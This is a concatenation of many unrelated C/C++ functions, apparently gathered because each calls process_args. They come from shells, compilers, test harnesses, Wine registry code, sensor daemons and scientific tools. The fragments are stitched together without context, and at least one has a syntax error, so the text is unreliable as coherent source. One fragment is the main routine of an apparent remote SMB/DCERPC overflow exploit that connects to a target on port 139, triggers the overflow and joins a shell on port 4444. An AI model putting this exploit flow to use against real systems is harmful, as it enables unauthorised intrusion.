int exec_pipe(char *cmd) { int num_pipes = 0; int fd[2]; int bgfg = 0; // Never run background commands with pipes. char original_cmd[255]; char *tok, prog1[256], prog2[256], *arg_list1[255], *arg_list2[255]; strcpy(original_cmd, cmd); num_pipes = count_pipes(cmd); // Only support for singly piped commands. if (num_pipes > 1) { printf("The shell currently doesn't support multiple pipes! Sorry!\n"); return 0; } else { // Get our two programs // They have arguments. tok = strtok(original_cmd, "|"); strcpy(prog1, tok); tok = strtok(NULL, " |"); strcpy(prog2, tok); // Process our arguments process_args(prog1, arg_list1, &bgfg); process_args(prog2, arg_list2, &bgfg); pipe(fd); // Execute prog1 if (fork() > 0) { close(fd[0]); dup2(fd[1], 1); execvp(arg_list1[0], arg_list1); exit(22); } else { close(fd[1]); dup2(fd[0], 0); execvp(arg_list2[0], arg_list2); exit(22); } } return 1; }
int main(int argc, char **argv) { if(sizeof(int) != 4) { fprintf(stderr, "Your machine's ints are not 4 bytes. " "You need to adjust generate_data() and check_data().\n"); exit(2); } process_args(argc, argv); init_genrand(opt_seed); if(opt_check) { check_data(0, opt_size); } else { generate_data(1, opt_size); } /* int i; printf("1000 outputs of genrand_int32()\n"); for (i=0; i<1000; i++) { printf("%10lu ", genrand_int32()); if (i%5==4) printf("\n"); } */ return 0; }
int main(int argc, char *argv[]) { startCatchingSignals(); { astlocMarker markAstLoc(0, "<internal>"); initFlags(); initChplProgram(); initPrimitive(); initPrimitiveTypes(); initTheProgram(); setupOrderedGlobals(argv[0]); compute_program_name_loc(argv[0], &(arg_state.program_name), &(arg_state.program_loc)); process_args(&arg_state, argc, argv); initCompilerGlobals(); // must follow argument parsing setupDependentVars(); setupModulePaths(); recordCodeGenStrings(argc, argv); } // astlocMarker scope printStuff(argv[0]); if (rungdb) runCompilerInGDB(argc, argv); if (fdump_html || strcmp(log_flags, "")) init_logs(); compile_all(); if (fEnableTimers) { printf("timer 1: %8.3lf\n", timer1.elapsed()); printf("timer 2: %8.3lf\n", timer2.elapsed()); printf("timer 3: %8.3lf\n", timer3.elapsed()); printf("timer 4: %8.3lf\n", timer4.elapsed()); printf("timer 5: %8.3lf\n", timer5.elapsed()); } free_args(&arg_state); clean_exit(0); return 0; }
int main(int argc, char *argv[]) { char fsname[8 + 1]; int rc; process_args(argc, argv); if (lustre_dir == NULL) lustre_dir = "/mnt/lustre"; rc = llapi_search_mounts(lustre_dir, 0, fsmountdir, fsname); if (rc != 0) { fprintf(stderr, "Error: '%s': not a Lustre filesystem\n", lustre_dir); return EXIT_FAILURE; } /* Play nice with Lustre test scripts. Non-line buffered output * stream under I/O redirection may appear incorrectly. */ setvbuf(stdout, NULL, _IOLBF, 0); /* Create a test filename and reuse it. Remove possibly old files. */ rc = snprintf(mainpath, sizeof(mainpath), "%s/%s", lustre_dir, maindir); ASSERTF(rc > 0 && rc < sizeof(mainpath), "invalid name for mainpath"); cleanup(); atexit(cleanup); PERFORM(test10); PERFORM(test11); PERFORM(test12); PERFORM(test20); PERFORM(test30); return EXIT_SUCCESS; }
static void init(int *argc, char ***argv) { process_args(argc, argv); if (!ev_init()) C("failed to initialize eval/dispatch"); if (s_sercommd) { if (!s_dev) s_dev = strdup(DEF_TRG); if (!s_baud) s_baud = DEF_PORT; if (!sc_init_tcp(s_dev, (uint16_t)s_baud)) C("failed to initialize sercomm (trg: '%s', port: %d)", s_dev, s_baud); } else { if (!s_dev) s_dev = strdup(DEF_DEV); if (!s_baud) s_baud = DEF_BAUD; if (!sc_init(s_dev, s_baud)) C("failed to initialize sercomm (dev: '%s', baud: %d)", s_dev, s_baud); } if (*argc) s_stdin = false; }
int main(int argc, char **argv) { if(argc < 3) exp_help(); else process_args(argc, argv); printf("[+] Connecting target %s\n", target_host); connect_host(inet_addr(target_host), 139); printf("[+] Setting up SMB Session\n"); session_setup(); printf("[+] Triggering up DCERPC reassembly\n"); build_trigger(); pwn(); printf("[+] Triggering overflow\n"); build_pwnage(); pwn(); disconnect_host(); sleep(1); printf("[+] Attempting to join shell\n"); connect_host(inet_addr(target_host), 4444); join_shell(sock); return 0; }
int main (int ac, char *av[]) { int i; double timeout = 1.0; log_msg_init (basename (av[0])); process_args (ac, av); log_verbose ("Stressing io-watchdog API for %d iterations.\n", iterations); for (i = 0; i < iterations; i++) { iow_err_t err = io_watchdog_set_timeout (timeout); if (err != EIOW_SUCCESS) log_fatal (1, "io_watchdog_set_timeout (%3fs): %s\n", timeout, io_watchdog_strerror (err)); check_expected_timeout ((int) timeout); log_verbose ("io_watchdog_set_timeout (%.3fs): Success\n", timeout); timeout += 10; } log_msg_fini (); return (0); }
int main (int argc, char **argv) { // Set exit routines atexit (GC_gcollect); atexit (close_libs); atexit (thread_cleanup); // Start the garbage collector GC_INIT (); // Set up GMP library mp_set_memory_functions (&FACT_malloc, &gmp_realloc_wrapper, &gmp_free_wrapper); // Start the main thread root_thread = FACT_malloc (sizeof (FACT_thread_t)); root_thread->tid = pthread_self (); root_thread->exited = false; root_thread->destroy = false; root_thread->next = NULL; root_thread->prev = NULL; root_thread->root = NULL; root_thread->nid = 0; pthread_mutex_init (&root_thread->queue_lock, NULL); // Process the arguments and start the interpreter. process_args (argc, argv); // Exit. exit (0); }
int hpx_main(boost::program_options::variables_map & vm) { params p(process_args(vm)); print_header("OSU HPX Scatter Latency Test"); run_benchmark(p); return hpx::finalize(); }
/** * Entry point for the program. */ int main(int argc, char **argv) { Color_t *original; int width, height; int n_polygons = N_POLYGONS; int n_sides = DEFAULT_POLYGON_POINTS; double target_percentage = -1.0f; char *filename = INPUT_IMAGE; /* Check for any command-line arguments. */ process_args(argc, argv, &filename, &n_sides, &n_polygons, &target_percentage); /* Seed the random number generated with the current time. */ srand(time(NULL)); /* Read in the original image. */ original = readPNG(filename, &width, &height); /* Kick off the polygon loop. */ main_loop(original, width, height, n_sides, n_polygons, target_percentage); free(original); return 0; }
int main(int argc, char **argv) { process_args(argc, argv); if (to_process == NULL) usage(); lily_options *options = lily_new_default_options(); if (gc_threshold != 0) options->gc_threshold = gc_threshold; options->argc = argc; options->argv = argv; lily_parse_state *parser = lily_new_parse_state(options); lily_lex_mode mode = (do_tags ? lm_tags : lm_no_tags); int result; if (is_file == 1) result = lily_parse_file(parser, mode, to_process); else result = lily_parse_string(parser, "[cli]", mode, to_process); if (result == 0) { fputs(lily_build_error_message(parser), stderr); exit(EXIT_FAILURE); } lily_free_parse_state(parser); lily_free(options); exit(EXIT_SUCCESS); }
int main(int argc, char** argv) { int64 nside = 4096; double radius_arcsec = -1; int64 maxmatch=1; int print_dist=0; int verbose=0; const char* file = process_args(argc, argv, &nside, &radius_arcsec, &maxmatch, &print_dist, &verbose); if (verbose) { if (radius_arcsec > 0) wlog("radius: %0.1lf arcsec\n", radius_arcsec); wlog("nside: %ld\n", nside); wlog("maxmatch: %ld\n", maxmatch); wlog("file: %s\n", file); } struct cat* cat = read_cat(file, nside, radius_arcsec, verbose); if (verbose) wlog("processing stream\n"); struct matchstack* matches = matchstack_new(); size_t index=0; double ra=0, dec=0; while (2 == fscanf(stdin,"%lf %lf", &ra, &dec)) { process_radec(cat, ra, dec, matches); print_matches(index, matches, maxmatch, print_dist); index++; } if (verbose) wlog("processed %lu from stream.\n", index); }
int main(int argc, char **argv) { if(process_args(argc, argv)) { if(load_exports()) { if(g_verbose) { dump_exports(); } switch(g_outputmode) { case PSP_BUILD_EXPORTS: build_exports(); break; /* Do the same for both */ case PSP_BUILD_STUBS_NEW: case PSP_BUILD_STUBS : build_stubs(); break; default : /* Argh */ break; }; } free_lib_data(); } else { print_help(); } return 0; }
int main(int argc, char** argv) { int64 nside=4096; double rad_radians=-1; int rad_in_file=0; process_args(argc, argv, &nside, &rad_radians, &rad_in_file); struct healpix* hpix = hpix_new(nside); VEC(int64) pixlist = VEC_NEW(int64); double ra=0, dec=0; while (2 == fscanf(stdin,"%lf %lf", &ra, &dec)) { if (rad_in_file) { if (1 != fscanf(stdin,"%lf", &rad_radians)) { fprintf(stderr,"failed to read radius\n"); exit(EXIT_FAILURE); } rad_radians *= D2R/3600.; } hpix_disc_intersect_radec(hpix, ra, dec, rad_radians, pixlist); printf("%.16g %.16g %lu", ra, dec, VEC_SIZE(pixlist); VEC_FOREACH(pix_ptr, pixlist) { printf(" %ld", *pix_ptr); } printf("\n"); }
int main(int argc, char **argv) { ArgumentSet args; ArgumentMap kwargs; process_args(argc, argv, args, kwargs); if(kwargs.count("help")) { usage(argc, argv); return 0; } if(kwargs.count("list")) { UnitTestDriver::s_driver().list_tests(); return 0; } if(kwargs.count("sizes")) { set_test_sizes(kwargs["sizes"]); } else { set_test_sizes("default"); } bool passed = UnitTestDriver::s_driver().run_tests(args, kwargs); if (kwargs.count("concise")) std::cout << ((passed) ? "PASSED" : "FAILED") << std::endl; return (passed) ? EXIT_SUCCESS : EXIT_FAILURE; }
int main(int argc, char *argv[]) { process_args(argc, argv); Camera_Reset(); while (1) { if (glfwGetKey(mainWindow, GLFW_KEY_ESCAPE) == GLFW_PRESS || glfwWindowShouldClose(mainWindow) == 1) { break; } process_inputs(); Engine_UpkeepTime(); /* Updates deltaTime */ Engine_Draw(); /* Render */ Engine_Update(); /* Update anything else */ } Engine_Quit(); printf("\nKa3D is now shutting down!\n"); return 0; }
int main(int argc, char **argv) { int i; pthread_t *id; double start, time = 0; process_args(argc,argv); // bind_to_core(0); pthread_barrier_init(&tbarrier, NULL, nthreads + 2); id = calloc(nthreads + 1, sizeof(*id)); list = tslist_create(nthreads, nadds * nbatch); /* setup and create threads */ pthread_create(&id[nthreads], NULL, consumer, (void *)NULL); for (i=0; i<nthreads; i++) { pthread_create(&id[i], NULL, producer, (void *)NULL); } pthread_barrier_wait(&tbarrier); start = GET_TS(); for (i=0; i<nthreads + 1; i++) { pthread_join(id[i], NULL); } time = GET_TS() - start; int count = nthreads * nadds * nbatch; printf("Number of elements is %d\n", count); printf("Time: %lf\n", time * 1E6); printf("Performance: %lf Melem/s\n", count / time / 1E6); tslist_append_done(list, nthreads); }
int main(int argc, char **argv) { usb_handle *usb; int i; if(argc < 2) return usage(); if(argc > 2) { if(process_args(argc - 2, argv + 2)) return -1; } for(i = 0; tests[i].cmd; i++) { if(!strcmp(argv[1], tests[i].cmd)) { usb = usb_open(tests[i].match); if(tests[i].test) { if(usb == 0) { fprintf(stderr,"usbtest: %s: could not find interface\n", tests[i].cmd); return -1; } if(tests[i].test(usb)) { fprintf(stderr,"usbtest: %s: FAIL\n", tests[i].cmd); return -1; } else { fprintf(stderr,"usbtest: %s: OKAY\n", tests[i].cmd); } } return 0; } } return usage(); }
int main(int argc, char **argv) { io_poller poller; // clear poller_type because init_poller uses it to see if the poller has been initialized. poller.poller_type = IO_POLLER_NONE; // Process the command line arguments // This causes an appropriate poller to be created, mock tests to be installed, etc. process_args(&poller, argc, argv); if(poller.poller_type == IO_POLLER_NONE) { // poller was not initialized probably because no arguments were specified. fprintf(stderr, "You must specify --client, --server or --mock.\n"); exit(1); } // Run the main event loop. for(;;) { if(io_wait(&poller, INT_MAX) < 0) { perror("io_wait"); } io_dispatch(&poller); } io_poller_dispose(&poller); return 0; }
static BOOL process_args_from_reg( LPWSTR ident, int *pargc, WCHAR ***pargv ) { LONG r; HKEY hkey = 0, hkeyArgs = 0; DWORD sz = 0, type = 0; LPWSTR buf = NULL; BOOL ret = FALSE; r = RegOpenKeyW(HKEY_LOCAL_MACHINE, InstallRunOnce, &hkey); if(r != ERROR_SUCCESS) return FALSE; r = RegQueryValueExW(hkey, ident, 0, &type, 0, &sz); if(r == ERROR_SUCCESS && type == REG_SZ) { buf = HeapAlloc(GetProcessHeap(), 0, sz); r = RegQueryValueExW(hkey, ident, 0, &type, (LPBYTE)buf, &sz); if( r == ERROR_SUCCESS ) { process_args(buf, pargc, pargv); ret = TRUE; } HeapFree(GetProcessHeap(), 0, buf); } RegCloseKey(hkeyArgs); return ret; }
int main(int argc, char* argv[]) { FILE* fp = process_args(argc, argv); T table = Table_new(1000, NULL, NULL); read_fgroups(fp, &table); print_fgroups(&table); }
int main(int argc, char **argv) { setup_readline(); struct Environment *env = new_standard_environment(); bool success = process_args(argc, argv, env); release_environment(env); return success ? 0 : 1; }
struct ast_node* process_function(void *opaque) { char *name; struct ast_node_stub *stub_node; if (!match(TOKEN_ID)) { error_msg("error: function name expected after `function'"); sync_stream(); goto exit; } name = ustrdup(lex_prev.id); if (current_token != TOKEN_LPARENTH) { error_msg("error: `(' expected"); sync_stream(); goto exit; } process_args(name); exit: stub_node = ast_node_stub(); return AST_NODE(stub_node); }
int main(int argc, char **argv) { int c; int new_line = 1; process_args(argc, argv); while (1) { c = getchar(); if (c == EOF) { break; } if (new_line) { print_prefix(stdout); new_line = 0; } write(out_fd, &c, 1); if (c == '\n') { new_line = 1; } if (trim) { trim_output(); } } return 0; }
UINT __stdcall uninstallLoopbackMSI (MSIHANDLE hInstall) { LPWSTR szValueBuf; DWORD cbValueBuf = 256; Args args; UINT rc; SetMsiReporter("RemoveLoopback", "Removing loopback adapter", hInstall); szValueBuf = (LPWSTR) malloc (cbValueBuf * sizeof (WCHAR)); while (rc = MsiGetPropertyW(hInstall, L"CustomActionData", szValueBuf, &cbValueBuf)) { free (szValueBuf); if (rc == ERROR_MORE_DATA) { cbValueBuf++; szValueBuf = (LPWSTR) malloc (cbValueBuf * sizeof (WCHAR)); } else return ERROR_INSTALL_FAILURE; } if (!process_args(szValueBuf, 1, args)) return ERROR_INSTALL_FAILURE; rc = UnInstallLoopBack (); if (rc == 1) return ERROR_INSTALL_FAILURE; if (rc == 2) { MsiDoActionW (hInstall, L"ScheduleReboot"); } return ERROR_SUCCESS; }
int main(int argc, char *argv[]) { long abw=0; printf("sender starting up\n"); starttime = time(NULL); prepare_buffers(); process_args(argc, argv); control_connect(); prep_sockets(); spruce_test(); abw = get_spruce_rate(); fprintf(stderr, "availalble bandwidth estimate: %ld Kbps\n", abw); control_exit(); printf("sender finished\n"); exit(0); }
static BOOL process_args_from_reg( const WCHAR *ident, int *pargc, WCHAR ***pargv ) { LONG r; HKEY hkey; DWORD sz = 0, type = 0; WCHAR *buf; BOOL ret = FALSE; r = RegOpenKeyW(HKEY_LOCAL_MACHINE, InstallRunOnce, &hkey); if(r != ERROR_SUCCESS) return FALSE; r = RegQueryValueExW(hkey, ident, 0, &type, 0, &sz); if(r == ERROR_SUCCESS && type == REG_SZ) { int len = lstrlenW( *pargv[0] ); if (!(buf = HeapAlloc( GetProcessHeap(), 0, sz + (len + 1) * sizeof(WCHAR) ))) { RegCloseKey( hkey ); return FALSE; } memcpy( buf, *pargv[0], len * sizeof(WCHAR) ); buf[len++] = ' '; r = RegQueryValueExW(hkey, ident, 0, &type, (LPBYTE)(buf + len), &sz); if( r == ERROR_SUCCESS ) { process_args(buf, pargc, pargv); ret = TRUE; } HeapFree(GetProcessHeap(), 0, buf); } RegCloseKey(hkey); return ret; }
int main(int argc, char** argv) { // INFO: https://www.kernel.org/doc/Documentation/i2c/dev-interface process_args(argc, argv); float press, temp; float last_press = 0; float last_temp = 0; struct tm * timeinfo; int last_min = -1; int idle_time = 10000000; int idle_time_min = 1000; int idle_time_max = 100000000; int idle_time_divider = 2; float temp_delta = 0.01; float press_delta = 0.1; int time_delta = 0; if(debug) printf("%s Start daemon\n",get_time()); while(1) { if(debug) { printf("%s wake up! idle time %i \n",get_time(),idle_time); } // read press and temp from LPS3331AP if( i2c_LPS331AP_read(press,temp) == 0 ) { time ( &rawtime ); timeinfo = localtime ( &rawtime ); if ( (abs(temp-last_temp) > temp_delta) || (abs(press-last_press) > press_delta) || (abs(timeinfo->tm_min-last_min)>time_delta)) { // and save it into SQL table savePressTemp(press,temp); last_press = press; last_temp = temp; last_min = timeinfo->tm_min; idle_time = idle_time / idle_time_divider; if(idle_time < idle_time_min) idle_time = idle_time_min; } else { idle_time = idle_time * idle_time_divider; if(idle_time > idle_time_max) idle_time = idle_time_max; } } else { printf("%s ******** Error ********** i2c \n",get_time()); } /* if(debug) { printf("%s idle time %i\n",get_time(),idle_time); }*/ usleep (idle_time); } return 0; }
int main(int argc, char *argv[]) { char *grammar_pathname; Grammar *g; (void)argc; process_args(&arg_state, argv); if (arg_state.nfile_arguments != 1) help(&arg_state, NULL); grammar_pathname = arg_state.file_argument[0]; g = new_D_Grammar(grammar_pathname); /* grammar construction options */ g->set_op_priority_from_rule = set_op_priority_from_rule; g->right_recursive_BNF = right_recursive_BNF; g->states_for_whitespace = states_for_whitespace; g->states_for_all_nterms = states_for_all_nterms; g->tokenizer = tokenizer; g->longest_match = longest_match; /* grammar writing options */ strcpy(g->grammar_ident, grammar_ident); if (ident_from_filename) { char *n = strrchr(grammar_pathname, '/'), *e; n = n ? n : grammar_pathname; e = strchr(n, '.'); e = e ? e : n + strlen(n); memcpy(g->grammar_ident, n, e-n); g->grammar_ident[e-n] = 0; } g->scanner_blocks = scanner_blocks; g->scanner_block_size = scanner_block_size; g->write_line_directives = write_line_directives; g->write_header = write_header; g->token_type = token_type; strcpy(g->write_extension, write_extension); if (!output_file[0]) { strncpy(output_file, grammar_pathname, sizeof(output_file)-1); strncat(output_file, ".d_parser.", sizeof(output_file)-strlen(output_file)-1); strncat(output_file, g->write_extension, sizeof(output_file)-strlen(output_file)-1); } g->write_pathname = output_file; /* don't print anything to stdout, when the grammar is printed there */ if (d_rdebug_grammar_level > 0) d_verbose_level = 0; mkdparse(g, grammar_pathname); if (d_rdebug_grammar_level == 0) { if (write_c_tables(g) < 0) d_fail("unable to write C tables '%s'", grammar_pathname); } else print_rdebug_grammar(g, grammar_pathname); free_args(&arg_state); free_D_Grammar(g); g = 0; return 0; }
int main(int argc, char* argv[]) { int batch_mode = (argc == 2); char input[INPUT_BUFFER_SIZE]; FILE *input_stream; // for holding arguments to individual commands passed to sub-procedure char *cmd_argv[INPUT_ARG_MAX_NUM]; int cmd_argc; // Create the heads of the empty data structure Poll *poll_list= NULL; if (batch_mode) { input_stream = fopen(argv[1], "r"); if (input_stream == NULL) { perror("Error opening file"); exit(1); } } else { // interactive mode input_stream = stdin; } printf("Welcome to the Simple Scheduling Tool!\nPlease type a command:\n>"); while (fgets(input, INPUT_BUFFER_SIZE, input_stream) != NULL) { // only echo the line in batch mode since in interactive mode the user // just typed the line if (batch_mode) { printf("%s", input); } // tokenize arguments // Notice that this tokenizing is not sophisticated enough to handle // quoted arguments with spaces so poll names, participant names and // and slot names can not have spaces. Comments can have multiple words char *next_token = strtok(input, DELIM); cmd_argc = 0; while (next_token != NULL) { if (cmd_argc >= INPUT_ARG_MAX_NUM - 1) { error("Too many arguments!"); cmd_argc = 0; break; } cmd_argv[cmd_argc] = next_token; cmd_argc++; next_token = strtok(NULL, DELIM); } if (cmd_argc > 0 && process_args(cmd_argc, cmd_argv, &poll_list) == -1) { break; // can only reach if quit command was entered } printf(">"); } if (batch_mode) { fclose(input_stream); } return 0; }